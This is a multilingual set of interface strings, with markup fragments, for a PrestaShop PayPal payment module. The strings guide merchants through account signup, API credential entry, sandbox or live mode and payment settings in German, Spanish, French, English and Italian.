        + + + Ja + Nein + Schnell, einfach, sicher + Mit Sicherheit + mehr Umsatz + + PayPal in Ihrem Shop zu aktivieren dauert nur 5 Minuten + + Mehr Kunden akquirieren
        15 Millionen PayPal-Kunden in Deutschland +
      • Mehr Sicherheit genießen
        Der PayPal-Verkäuferschutz sichert Sie im Fall der Fälle ab
      • +
      • Mehr Umsatz generieren
        Steigern Sie Ihren Umsatz um durchschnittlich 18,7%
      • +
      • Mehr Schutz schaffen
        Ihre Warenkorb-Informationen werden nicht weitergegeben
      • + ]]> +
        + + Ihr Land + Ändern + Select your country + + Haben Sie Fragen?]]> Rufen Sie uns an: 01805 23 32 05 + call + (Maximal 14 Cent/Min. aus dem Festnetz. Für Anrufe aus Mobilfunknetzen fallen Gebühren von maximal 42 Cent/Min. an.) + + Haben Sie bereits ein PayPal-Konto + Wählen Sie Ihre PayPal-Lösung aus + Mehr erfahren]]> + + Möchten Sie PayPal in Ihrem Online-Shop anbieten ? + Need PayPal in addition to your existing card processor ? + + Wählen Sie + + PayPal Express + + Sie profitieren von weniger Kaufabbrüchen und profitieren so von mehr Umsatz. + + + + + + + + + + + Eröffnen Sie ein PayPal-Geschäftskonto + + So aktivieren Sie PayPal in Ihrem Online-Shop oder auf Ihrer Webseite + + Übermitteln Sie die Daten Ihrer API-Schnittstelle an PrestaShop + Indicate the email you used when you signed up for a PayPal Business account + API Informationen abrufen + Nachdem Sie auf "API Informationen abrufen" geklickt haben, geben Sie bitte Ihren PayPal Login-Namen und das Passwort in das Pop-Up ein, kopieren Sie dann die Infos, um Sie in die unten stehenden Felder einzusetzen. + API-Name + API-Passwort + API-Signatur + API business e-mail + Bitte überprüfen Sie Ihre Angaben auf Vollständigkeit. + + Schließen Sie den Anmeldeprozess für Ihr PayPal-Konto ab + Bestätigen Sie Ihre E-Mail-Adresse: PayPal hat Ihnen nach der Kontoeröffnung eine mail mit weiteren Informatonen gesendet. + Fügen Sie in Ihrem PayPal-Konto Ihr Bankkonto oder Ihre Kreditkarte hinzu. Loggen Sie sich in Ihren PayPal Account ein und klicken auf "Mein Geschäftskonto einrichten". + + Weitere Einstellungen + + Nutzen Sie Express Checkout Shortcut + Per Klick gelangen Ihre Kunden ohne Umwege direkt zur PayPal-Zahlungsseite + + Nutzen Sie die Sandbox + (empfohlen) + Damit können Sie den PayPal-Bezahlfluss in einer Test-Umgebung ausprobieren. + Mehr erfahren. + http://www.paypalobjects.com/de_DE/html/IntegrationCenter/ic_sandbox.html + Reale Umgebung (empfohlen) + Test-Umgebung + + Wenn Sie die Test-Umgebung aktivieren + + Können Sie keine Zahlungen empfangen. +
      • Müssen Sie auf diese Seite zurückkehren, um Schritt 3 abzuschließen.
      • +
      • Sollten Sie einen Zugang zur PayPal-Sanbox einrichten. (Mehr erfahren)
      • +
      • Sollten Sie Programierkenntnisse mitbringen.
      • + ]]> +
        + Sind Sie sicher, die Test-Umgebung jetzt zu aktivieren ? + + Zahlungsweise + + Wählen Sie Ihren Weg der Zahlungsabwicklung (automatische oder manuelle Autorisierung).]]> + Der PayPal-Verkäuferschutz sichert Sie ab, wenn Ihre Käufer mit PayPal bezahlen. ]]>Und so funktioniert es]]>. + + Direct sales (recommended) + Authorization/Manual capture (payment shipping) + + Speichern + + Sie können keine Zahlungen empfangen, wenn Sie nicht die notwendigen Informationen in Schritt 3 angeben. + + Herzlichen Glückwunsch ! + Nun ist PayPal aktiviert und Sie können Zahlungen empfangen. + Jetzt können Sie die PayPal-Lösungen ausprobieren. Vergessen Sie bitte nicht, hierher zurückzukommen, um die reale Umgebung zu aktivieren. Denn sonst können Sie keine Zahlungen empfangen. + + + JETZT ANMELDEN + Sobald Sie das Konto eröffnet haben, fahren Sie bitte mit Schritt 3 fort. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=14 + + + + + + + + + + + + + + + + + + + + + + + + + + +
        + + + Sí + No + Pague con su tarjeta de débito, crédito o su cuenta PayPal + + + La forma rápida y segura de pagar en Internet + Aceptar pagos con PayPal sólo le llevará ]]>unos minutos]]> + + Consiga más clientes
        Más de 100 millones de cuentas activas en el mundo +
      • Acceda a clientes internacionales
        En 190 países y en 25 divisas
      • +
      • Facilite y mejore la experiencia de compra a sus clientes
        Sus clientes pagan en dos clicos
      • +
      • Pagos sin compartir los datos financieros.
        Acepte pagos con tarjeta y cuenta bancaria
      • + ]]> +
        + + Su país + change + Select your country + + ¿Necesita ayuda? Póngase en contacto con nosotros]]> + mail + + + ¿Ya tiene una cuenta PayPal Empresas? + Seleccione su solución + Más información]]> + + ¿Necesita PayPal para procesar todos sus pagos con tarjeta? + ¿Desea aceptar PayPal como forma de pago adicional a su pasarela actual? + + Elija + + Pago estándar + Comience a aceptar pagos al instante. Sin comisiones de alta, mantenimiento o cancelación, la única tarifa que se paga es cuando se recibe un pago. + + PayPal Pasarela Integral + + Una pasarela todo en uno para aceptar pagos con tarjetas y con cuenta PayPal.]]> + Además de poder personalizar su flujo de pago, cuenta con un programa de protección*.]]> + Flujo de pago personalizado. Todo por una tarifa mensual de 15 eur.]]> + * Ver téminos y condiciones de Pasarela Integral de PayPal]]> + + Haga clic en el botón GUARDAR solo cuando PayPal apruebe su suscripción para este producto. Este proceso puede tardar 3-5 días. + + Pago exprés + Aumente sus ventas online en un 18%* + *Fuente: Estudio independiente realizado por Ipsos Public Affairs en julio de 2010, los vendedores online reportaron un incremento medio del 18% en sus ventas al añadir Pago exprés en su web. + + Abra su cuenta PayPal Empresas + + Active su tienda online para aceptar pagos con PayPal + + Comunique su información de identificación de PayPal a PrestaShop + Indique el correo electrónico asociado a su cuenta PayPal Empresas + Obtener mis datos de Identificación de PayPal + Después de hacer clic en el botón "Obtener mis datos de identificación en PayPal", introduzca su nombre de usuario y contraseña en la ventana emergente, copie sus datos de identificación de la ventana emergente y péguelos en los campos correspondientes. + Nombre de usuario de API + Contraseña de API + Firma + Correo electrónico en PayPal + Asegúrese de incluir todos los caracteres, comprueba una vez más que ha pegado todos los caracteres. + + Para finalizar configure su cuenta PayPal siguiendo estos pasos + Confirme su dirección de correo electrónico: compruebe el correo electrónico enviado por PayPal al crear su cuenta + Añada una tarjeta o cuenta bancaria a su cuenta PayPal: inicie sesión en su cuenta PayPal y vaya a "Verificar mi tarjeta" + + Opciones de configuración + + Utilice Pago exprés (acceso rápido) + Ofrezca a sus clientes una opción de pago con tan solo 2 clics + + Utilice el entorno de prueba Sandbox + (recomendado) + Active un entorno de prueba en su cuenta PayPal (solo si es programador). + Más Información + Modo real (recomendado) + Modo de prueba + + La activación del modo de prueba implica que + + No podrá aceptar pagos. +
      • Tendrá que regresar a la página de PayPal para completar el paso 3 antes de estar en modo real.
      • +
      • Tendrá que crear una cuenta en el entorno Sandbox de PayPal (Más información)
      • +
      • Necesitará conocimientos de programación
      • + ]]> +
        + ¿Está seguro que desea activar el modo de prueba? + + Método de pago + Elija su forma de procesar los pagos (autorización automática o manual). + Direct sales + Authorization/Manual capture (payment shipping) + + Guardar + + Tiene que completar los datos de Identificación de PayPal en el paso 3 para que pueda aceptar pagos. + + Enhorabuena ! + Ya puede aceptar pagos con PayPal. + Ya puede probar las soluciones de PayPal. No olvide volver a esta página para activar el modo real y poder aceptar pagos. + + + Abrir una cuenta + Una vez que haya abierto su cuenta, regrese a esta página para completar el paso 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=10 + + + Solicitar + + Haga clic en el botón GUARDAR solo cuando PayPal apruebe su suscripción para este producto. Este proceso puede tardar 3-5 días. + + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=12 + + + Abrir una cuenta + Una vez que haya abierto su cuenta, regrese a esta página para completar el paso 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=11 + + + + Solicitar + + Haga clic en el botón GUARDAR solo cuando PayPal apruebe su suscripción para este producto. Este proceso puede tardar 3-5 días]]> + Si PayPal ya ha aprobado su solicitud de Pasarela integral, vaya directamente ]]>al paso 3.]]>. + + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=12 + + +
        + + + Oui + Non + Payez par carte ou par compte PayPal + Leader des + paiements en ligne + Plus simple, plus rapide et plus sûr pour vos clients. + Commencer avec PayPal ne prend que ]]>5 minutes]]> + + Touchez plus de clients
        Plus de 100 millions de comptes actifs à travers le monde +
      • Acceptez les paiements à l'international
        190 pays, 25 devises
      • +
      • Rassurez vos clients
        Ils n'ont pas besoin de partager leurs informations confidentielles
      • +
      • Acceptez les principaux moyens de paiements
        Visa, Mastercard, Carte Bleue, Aurore, Cofinoga, 4 Etoiles, PayPal
      • + ]]> +
        + + Votre pays + changer + Select your country + + Besoin d'aide ?]]> Appelez nous au 0800 942 850* + call + * Appel gratuit depuis un poste fixe, 7 jours /7 de 9h00 à 18h30. + + Vous possédez déjà un compte PayPal Professionnel + Choisissez votre solution + En savoir plus]]> + + Besoin de PayPal pour accepter tous les paiements par carte ? + Besoin d'ajouter le bouton PayPal en tant que moyen de paiement supplémentaire ? + + Choisissez + + PayPal Intégral + + Acceptez immédiatement les principaux moyens de paiements du web. Pas de frais fixe ni d'engagement de durée. Payez seulement à la réception des paiements. + + + PayPal Intégral Evolution + + Une plateforme de paiement complète, une protection des paiements en plus*.]]> + Ayez la possibilité de personnaliser votre page de paiement. Abonnement mensuel de 25€. + ]]>*Soumis à conditions, voir les ]]>conditions d'utilisation]]> + + PayPal Integral Evolution est soumis à conditions et le traitement de votre inscription peut prendre 3 à 5 jours ouvrés. Merci de ne cliquer sur le bouton "Sauvegardez" en bas de la page qu'une fois votre inscription validée par PayPal. + + PayPal Option + + Ajoutez PayPal Option + peut générer 20 à 30 % de ventes additionnelles*. + *Source: Étude Forrester réalisée en mars 2011 + + Souscrivez ou ouvrez un compte PayPal Professionnel + + Configurez votre solution pour commencer à accepter les paiements + + Communiquez vos informations d'identification PayPal à PrestaShop + Indiquez l'email que vous avez utilisé pour créer votre compte PayPal professionnel + Obtenir mes informations d'identification PayPal + Après avoir cliqué sur le bouton "Obtenir mes informations d'identification PayPal", entrez vos identifiant et mot de passe PayPal dans la fenêtre qui s'affichera, copier les informations fournies par PayPal et collez les dans les champs ci-dessous. + Identifiant API + Mot de passe API + Signature + E-mail compte PayPal professionnel + Merci de vérifier que vous avez bien collé l'ensemble des caractères, certain champs contiennent beaucoup de caractères. + + Pour finir la configuration de votre compte PayPal + Confirmer votre adresse e-mail en suivant la procédure envoyée par PayPal lors de la création de votre compte + Lier votre compte PayPal à un compte bancaire ou à une carte bancaire. Connectez-vous à votre compte PayPal et rendez-vous dans la section "Premier pas" + + Options de configuration PayPal + + Utilisez PayPal Express + Offrez à vos clients la possibilité de payer en 2 clics + + Utilisez la Sandbox + (recommandé) + Mettez en place un environnement de test dans votre compte PayPal (seulement si vous êtes un développeur). + Plus d'infos + Mode réel (recommandé) + Mode test + + Activer le mode test implique que + + Vous ne serez pas en mesure d'accepter les paiements immédiatement +
      • Vous devrez créer un compte test sur le site PayPal sandbox. (plus d'infos)
      • +
      • Vous aurez besoin de compétences en développement
      • +
      • Vous devrez revenir à la page du module PayPal afin de compléter l'étape 3 avec les informations d'identification de votre compte test
      • +
      • Pour passer en mode réel, vous devrez revenir sur la page du module PayPal et indiquer vos informations d'identification PayPal à nouveau
      • + ]]> +
        + Êtes vous sûr de vouloir activer le mode test ? + + Type de paiement + Choisissez votre manière de valider les paiements (Automatique vs. Autorisation manuelle). + Direct sales + Authorization/Manual capture (payment shipping) + + Sauvegardez + + Vous devrez compléter l'ensemble des informations d'identification PayPal durant l'étape 3 autrement vous ne serez pas en mesure d'accepter les paiements. + + Bravo ! + Vous pouvez maintenant commencer à accepter les paiements avec PayPal. + Vous pouvez maintenant commencer à tester les solutions PayPal. N'oubliez surtout pas de revenir sur cette page et d'activer le mode réel afin de commencer à accepter les paiements. + + + Ouvrez un compte + Une fois votre compte créé, revenez sur cette page pour compléter l'étape 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=2 + + + Souscrivez + + PayPal Integral Evolution est soumis à conditions et la validation de votre inscription peut prendre 3 à 5 jours ouvrés.]]> + Veuillez ne cliquer sur le bouton "Sauvegardez" en bas de la page qu'une fois votre inscription validée par PayPal + + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=4 + + + Ouvrez un compte + Une fois votre compte créé, revenez sur cette page pour compléter l'étape 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=3 + + + + Souscrivez + + PayPal Integral Evolution est soumis à conditions et la validation de votre inscription peut prendre 3 à 5 jours ouvrés.]]> + Veuillez ne cliquer sur le bouton "Sauvez" en bas de la page qu'une fois votre inscription validée par PayPal sinon vous ne serez pas en mesure d'accepter les paiements.]]> + Si votre souscription à PayPal Intégral Evolution a déjà été validée par PayPal, merci d'aller directement à ]]>l'étape 3]]>. + + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=4 + + +
        + + + Yes + No + Pay with your card or your PayPal account + Leader in + online payments + Easy, secure, fast payments for your buyers. + It only takes a few minutes to get started with PayPal + + Get more buyers
        Over 100 million active PayPal accounts worldwide +
      • Access international buyers
        190 countries, 25 currencies
      • +
      • Reassure your buyers
        Buyers don’t need to share their private data
      • +
      • Accept all major payment methods
        Visa, Mastercard, PayPal, etc.
      • + ]]> +
        + + Your country + change + Select your country + + Need help?]]> Give us a call on 0844 338 0470 + call + + + Already have a PayPal Business account + Select your solution + Learn more]]> + + Need PayPal to process all your card payments ? + Need PayPal in addition to your existing card processor ? + + Choose + + Website Payments Standard + + Start accepting payments immediately.]]> + No subscription fees, only a small transaction fee when you get paid. + + + Website Payments Pro Hosted + A professional platform that enables you to accept debit card, credit card and PayPal payments. Customised payment pages.]]> Monthly subscription of £20. + Please click on the SAVE button at the bottom of the page only once PayPal has approved your application for this product, otherwise you won’t be able to process any card payments. This process can take up to 3-5 days. + + Express Checkout + Boost your online sales by 30%* with a simple 3-click checkout process. + *Source: Forrester research conducted in March 2011 + + Sign up for your free PayPal Business account + + Process payments on your online shop + + Provide your PayPal API credentials to PrestaShop + Indicate the email you used when you signed up for a PayPal Business account + Get my PayPal API credentials + Click here and enter your PayPal email login and password in the pop-up, then copy and paste your PayPal API credentials into the fields below. + API username + API password + API signature + PayPal Business account e-mail + Please check that you have copied in all the characters. + + To finalize setting up your PayPal account, you need to + Confirm your email address : check the email sent by PayPal when you created your account + Link your PayPal account to a bank account or a credit card : log into your PayPal account and go to “My business setup†+ + Configuration options + + Express Checkout shortcut + Offer your customers a 3-click checkout experience + + Use a Sandbox + + Activate a test environment in your PayPal account (developer only). + Learn more + Live mode (recommended) + Test mode + + Please note that if you choose to activate the test mode + + You won’t be able to accept payments yet +
      • You will need to come back to the PayPal module page in order to complete Step 3 before going live
      • +
      • You’ll need to create an account on the PayPal sandbox site (learn more)
      • +
      • You’ll need programming skills
      • + ]]> +
        + Are you sure you want to activate the test mode ? + + Payment type + Choose your way of processing payments (automatically vs.manual authorization). + Direct sales (recommended) + Authorization/Manual capture (payment shipping) + + Save + + You need to provide your PayPal API credentials in step 3 in order to accept payments. + + Congratulation ! + You can now start accepting payments with PayPal. + You can now start testing PayPal solutions. Once you've carried out your tests, don’t forget to come back to this page and activate the live mode in order to start accepting payments. + + + Sign Up + Once you've opened your PayPal account or if you have one already, then continue to step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=39 + + + Apply + Please only click the SAVE button at the bottom of the page once PayPal has approved your application for this product, otherwise you won't be able to process any card payments. This process can take up to 3-5 days + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=40 + + + Sign Up + Once your account has been created, come back to this page in order to complete step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=39 + + + Sign Up + + + + + Apply + Important: Please click on the SAVE button at the bottom of the page only once PayPal has approved your application for this product, otherwise you won’t be able to process any card payments. This process can take up to 3-5 days.]]> + If your application for Website Payments Pro has already been approved by PayPal, please go directly to ]]>step 3]]>. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=40 + + + + + + +
        + + + Yes + No + Pay with your card or your PayPal account + Leader in + online payments + Easy, secure, fast payments for your buyers. + It only takes a few minutes to get started with PayPal + + Get more buyers
        Over 100 million active PayPal accounts worldwide +
      • Access international buyers
        190 countries, 25 currencies
      • +
      • Reassure your buyers
        Buyers don’t need to share their private data
      • +
      • Accept all major payment methods
        Visa, Mastercard, PayPal, etc.
      • + ]]> +
        + + Your country + change + Select your country + + Need help?]]> Give us a call : 852-3550-8574 + call + + + Already have a PayPal business account + Select your solution + Learn more]]> + + Need PayPal to process all your card payments ? + Need PayPal in addition to your existing card processor ? + + Choose + + Website Payments Standard + + Start accepting payments immediately.]]> + No subscription fees, only a small transaction fee when you get paid. + + + Website Payments Pro Hosted Solution + A professional platform that enables you to accept debit card, credit card and PayPal payments. Customised payment pages.]]>Monthly subscription of HKD$200. To sign-up, please contact a PayPal customer service representative. + Please only click the SAVE button at the bottom of the page once PayPal has approved your application for this product, otherwise you won't be able to process any card payments. This process can take up to 3-5 days + + Express Checkout + Boost your online sales by 30%* with a simple 3-click checkout process. + *Source: Forrester research conducted in March 2011 + + Sign up for your free PayPal Business account + + Process payments on your online shop + + Provide your PayPal API credentials to PrestaShop + Indicate the email you used when you signed up for a PayPal Business account + Get my PayPal API credentials + Click here and enter your PayPal email login and password in the pop-up, then copy and paste your PayPal API credentials into the fields below. + API username + API password + API signature + API business e-mail + Please check that you have copied in all the characters. + + To finalize setting up your PayPal account, you need to + Confirm your email address : check the email sent by PayPal when you created your account + Link your PayPal account to a bank account or a credit card : log into your PayPal account and go to “My business setup†+ + Configuration options + + Express Checkout shortcut + Offer your customers a 3-click checkout experience + + Use a Sandbox + + Activate a test environment in your PayPal account (developer only). + Learn more + Live mode (recommended) + Test mode + + Please note that if you choose to activate the test mode + + You won’t be able to accept payments yet +
      • You will need to come back to the PayPal module page in order to complete Step 3 before going live
      • +
      • You’ll need to create an account on the PayPal sandbox site (learn more)
      • +
      • You’ll need programming skills
      • + ]]> +
        + Are you sure you want to activate the test mode ? + + Payment type + Choose your way of processing payments (automatically vs.manual authorization). + Direct sales (recommended) + Authorization/Manual capture (payment shipping) + + Save + + You need to provide your PayPal API credentials in step 3 in order to accept payments. + + Congratulation ! + You can now start accepting payments with PayPal. + You can now start testing PayPal solutions. Once you've carried out your tests, don’t forget to come back to this page and activate the live mode in order to start accepting payments. + + + Sign Up + Once you've opened your PayPal account or if you have one already, then continue to step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=61 + + + Apply + + "Contact a PayPal sales representative at +852 3550 8584 or email us via the following button]]> + Please only click the SAVE button at the bottom of the page once PayPal has approved your application for this product, otherwise you won't be able to process any card payments. This process can take up to 3-5 days" + + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=81 + + + Sign Up + Once your account has been created, come back to this page in order to complete step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=62 + + + Sign Up + + + + + Apply + + Important: Please click on the SAVE button at the bottom of the page only once PayPal has approved your application for this product, otherwise you won’t be able to process any card payments. This process can take up to 3-5 days.]]> + If your application for Website Payments Pro has already been approved by PayPal, please go directly to step 3. + + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=81 + + + + + + +
        + + + Yes + No + Pay with your card or your PayPal account + Leader in + online payments + Easy, secure, fast payments for your buyers. + It only takes a few minutes to get started with PayPal + + Get more buyers
        Over 100 million active PayPal accounts worldwide +
      • Access international buyers
        190 countries, 25 currencies
      • +
      • Reassure your buyers
        Buyers don’t need to share their private data
      • +
      • Accept all major payment methods
        Visa, Mastercard, PayPal, etc.
      • + ]]> +
        + + Your country + change + Select your country + + Need help?]]> Visit www.Paypal.com]]> + + + + Already have a PayPal business account + Select your solution + Learn more]]> + + Need PayPal to process all your card payments ? + Need PayPal in addition to your existing card processor ? + + Choose + + Website Payments Standard + + Start accepting payments immediately.]]> + No subscription fees, only a small transaction fee when you get paid. + + + + + + + Express Checkout + Boost your online sales by 30%* with a simple 3-click checkout process. + *Source: Forrester research conducted in March 2011 + + Sign up for your free PayPal Business account + + Process payments on your online shop + + Provide your PayPal API credentials to PrestaShop + Indicate the email you used when you signed up for a PayPal Business account + Get my PayPal API credentials + Click here and enter your PayPal email login and password in the pop-up, then copy and paste your PayPal API credentials into the fields below. + API username + API password + API signature + API business e-mail + Please check that you have copied in all the characters. + + To finalize setting up your PayPal account, you need to + Confirm your email address : check the email sent by PayPal when you created your account + Link your PayPal account to a bank account or a credit card : log into your PayPal account and go to “My business setup†+ + Configuration options + + Express Checkout shortcut + Offer your customers a 3-click checkout experience + + Use a Sandbox + + Activate a test environment in your PayPal account (developer only). + Learn more + Live mode (recommended) + Test mode + + Please note that if you choose to activate the test mode + + You won’t be able to accept payments yet +
      • You will need to come back to the PayPal module page in order to complete Step 3 before going live
      • +
      • You’ll need to create an account on the PayPal sandbox site (learn more)
      • +
      • You’ll need programming skills
      • + ]]> +
        + Are you sure you want to activate the test mode ? + + Payment type + Choose your way of processing payments (automatically vs.manual authorization). + Direct sales (recommended) + Authorization/Manual capture (payment shipping) + + Save + + You need to provide your PayPal API credentials in step 3 in order to accept payments. + + Congratulation ! + You can now start accepting payments with PayPal. + You can now start testing PayPal solutions. Once you've carried out your tests, don’t forget to come back to this page and activate the live mode in order to start accepting payments. + + + Sign Up + Once you've opened your PayPal account or if you have one already, then continue to step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=23 + + + + + + + + Sign Up + Once your account has been created, come back to this page in order to complete step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=24 + + + Sign Up + + + + + Apply + + + + + + + + +
        + + + + + Yes + No + Pay with your card or your PayPal account + Leader in + online payments + Easy, secure, fast payments for your buyers. + It only takes a few minutes to get started with PayPal + + Get more buyers
        Over 100 million active PayPal accounts worldwide +
      • Access international buyers
        190 countries, 25 currencies
      • +
      • Reassure your buyers
        Buyers don’t need to share their private data
      • +
      • Accept all major payment methods
        Visa, Mastercard, PayPal, etc.
      • + ]]> +
        + + Your country + change + Select your country + + Need help?]]> Give us a call : +1 402 938-3740]]>(a US telephone number) + call + + + Already have a PayPal business account + Select your solution + Learn more]]> + + Need PayPal to process all your card payments ? + Need PayPal in addition to your existing card processor ? + + Choose + + Website Payments Standard + + Start accepting payments immediately.]]> + No subscription fees, only a small transaction fee when you get paid. + + + + + + + Express Checkout + Boost your online sales by 30%* with a simple 3-click checkout process. + *Source: Forrester research conducted in March 2011 + + Sign up for your free PayPal Business account + + Process payments on your online shop + + Provide your PayPal API credentials to PrestaShop + Indicate the email you used when you signed up for a PayPal Business account + Get my PayPal API credentials + Click here and enter your PayPal email login and password in the pop-up, then copy and paste your PayPal API credentials into the fields below. + API username + API password + API signature + API business e-mail + Please check that you have copied in all the characters. + + To finalize setting up your PayPal account, you need to + Confirm your email address : check the email sent by PayPal when you created your account + Link your PayPal account to a bank account or a credit card : log into your PayPal account and go to “My business setup†+ + Configuration options + + Express Checkout shortcut + Offer your customers a 3-click checkout experience + + Use a Sandbox + + Activate a test environment in your PayPal account (developer only). + Learn more + Live mode (recommended) + Test mode + + Please note that if you choose to activate the test mode + + You won’t be able to accept payments yet +
      • You will need to come back to the PayPal module page in order to complete Step 3 before going live
      • +
      • You’ll need to create an account on the PayPal sandbox site (learn more)
      • +
      • You’ll need programming skills
      • + ]]> +
        + Are you sure you want to activate the test mode ? + + Payment type + Choose your way of processing payments (automatically vs.manual authorization). + Direct sales (recommended) + Authorization/Manual capture (payment shipping) + + Save + + You need to provide your PayPal API credentials in step 3 in order to accept payments. + + Congratulation ! + You can now start accepting payments with PayPal. + You can now start testing PayPal solutions. Once you've carried out your tests, don’t forget to come back to this page and activate the live mode in order to start accepting payments. + + + Sign Up + Once you've opened your PayPal account or if you have one already, then continue to step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=76 + + + + + + + + Sign Up + Once your account has been created, come back to this page in order to complete step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=77 + + + Sign Up + + + + + Apply + + Important: Please click on the SAVE button at the bottom of the page only once PayPal has approved your application for this product, otherwise you won’t be able to process any card payments. This process can take up to 3-5 days.]]> + If your application for Website Payments Pro has already been approved by PayPal, please go directly to step 3. + + + + + + + + +
        + + + Sì + No + Paga con la carta o con il tuo conto PayPal + Il metodo ideale + per farsi pagare online + Rapido, affidabile, innovativo + Inizia subito a vendere con PayPal. Bastano 5 minuti + + Conquista nuovi clienti
        Oltre 110 milioni di conti PayPal attivi nel mondo +
      • Espandi la tua base utenti anche all'estero
        190 Paesi e 25 valute diverse
      • +
      • Offri più protezione ai tuoi clienti
        Chi compra non condivide i dati personali
      • +
      • Accetta le principali carte di credito e prepagate
        Visa, Mastecard, Amex, Aura, PayPal, etc.
      • + ]]> +
        + + Il tuo Paese + change + Select your country + + Hai bisogno di aiuto?]]> Chiamaci: 848 390 110 + call + * Costo da rete fissa: 6,8 cent. di euro per il primo minuto e 1,6 cent. di euro per quelli successivi. Per conoscere il costo della chiamata da telefono cellulare, contatta il tuo gestore mobile. Per le chiamate internazionali, rivolgiti al numero: + 353 1436 9021 (possono essere applicate le tariffe internazionali). + + Hai già un conto PayPal Business + Seleziona il prodotto che fa per te + Scopri di più]]> + + Vuoi usare PayPal per elaborare tutti i tuoi i pagamenti online ? + Vuoi PayPal come metodo di pagamento aggiuntivo ? + + Scegli + + Pagamenti su sito web + + Inizia subito a vendere online.]]> + Nessun costo iniziale né tariffe mensili. Paghi solo quando ricevi pagamenti. + + + PayPal Pro + + Il POS Virtuale completo, protezione delle vendite inclusa.]]> + *Accetti le principali carte di credito o prepagate e personalizzi la pagina di pagamento.]]> + Abbonamento mensile: €29 EUR. + *Soggetto ai termini e alle limitazioni delle ]]>Condizioni d'Uso]]>. + + Clicca il pulsante SALVA in fondo alla pagina solo dopo che PayPal avrà approvato la tua richiesta per PayPal Pro. Può richiedere 3-5 giorni. + + Pagamento express + Puoi conquistare nuovi clienti in tutto il mondo e aumentare le vendite. Gli acquirenti pagano in 3 clic e tu vendi anche su cellulare. + + + Richiedi PayPal Pro o apri un conto PayPal Business + + Accetta pagamenti online sul tuo sito + + Clicca il pulsante di seguito per fornire le tue credenziali PayPal a PrestaShop + + Richiedi le credenziali PayPal + Dopo aver cliccato il pulsante, inserisci nome utente e password nella finestra di pop up: da qui copia le credenziali PayPal ottenute e incollale nei campi di seguito. + Username API + Password API + Firma API + API business e-mail + Controlla di aver inserito correttamente tutti i caratteri. + + Completa l'attivazione del tuo conto PayPal + Conferma il tuo indirizzo email: controlla l'email inviata da PayPal quando hai creato il conto + Collega il conto bancario o la carta di credito al tuo conto PayPal: accedi alla sezione “Informazioni generali" del tuo conto. + + Opzioni di configurazione + + Scegli il pulsante di Pagamento express + I tuoi clienti pagano in soli 2 clic + + Scegli Sand box + (consigliato) + Avrai a disposizione un ambiente di test sul tuo conto PayPal. + Scopri di più + Modalità Live (consigliato) + Modalità Test + + Se attivi la modalità Test + + Non potrai accettare pagamenti +
      • Dovrai tornare alla pagina PayPal e completare il terzo passaggio prima di andare live.
      • +
      • Dovrai creare un conto sul sito Sandbox di PayPal. (Scopri di più)
      • +
      • Devi avere competenze informatiche
      • + ]]> + + Sei sicuro di voler attivare la modalità test ? + + Tipo di pagamento + Scegli il tuo metodo per processare pagamenti: (automatico vs autorizzazione manuale). + Direct sales + Authorization/Manual capture (payment shipping) + + Salva + + Per ricevere i pagamenti online, devi completare il terzo passaggio. + + Complimenti. + Ora puoi ricevere pagamenti con PayPal. + Ora puoi provare i prodotti PayPal. Ricorda di tornare su questa pagina e attivare la modalità live per iniziare ad accettare pagamenti. + + + Registrati + Quando avrai aperto il conto, torna su questa pagina e completa il terzo passaggio. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=6 + + + Richiedilo + + Clicca il pulsante SALVA in fondo alla pagina solo dopo che PayPal avrà approvato la tua richiesta per PayPal Pro,]]> + altrimenti non potrai elaborare i pagamenti. Può richiedere 3-5 giorni. + + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=8 + + + Registrati + Quando avrai aperto il conto, torna in questa pagina e completa il terzo passaggio. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=7 + + + + Richiedilo + + Importante! Clicca il pulsante SALVA in fondo alla pagina solo dopo che PayPal avrà approvato la tua richiesta per PayPal Pro,]]> + altrimenti non potrai elaborare il pagamento. Può richiedere 3-5 giorni.]]> + ]]> + Se invece PayPal ha già approvato la tua richiesta per PayPal Pro, vai direttamente al ]]>terzo passaggio]]>. + + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=8 + + +
        + + + Yes + No + Pay with your card or your PayPal account + Leader in + online payments + Easy, secure, fast payments for your buyers. + It only takes a few minutes to get started with PayPal + + Get more buyers
        Over 100 million active PayPal accounts worldwide +
      • Access international buyers
        190 countries, 25 currencies
      • +
      • Reassure your buyers
        Buyers don’t need to share their private data
      • +
      • Accept all major payment methods
        Visa, Mastercard, PayPal, etc.
      • + ]]> +
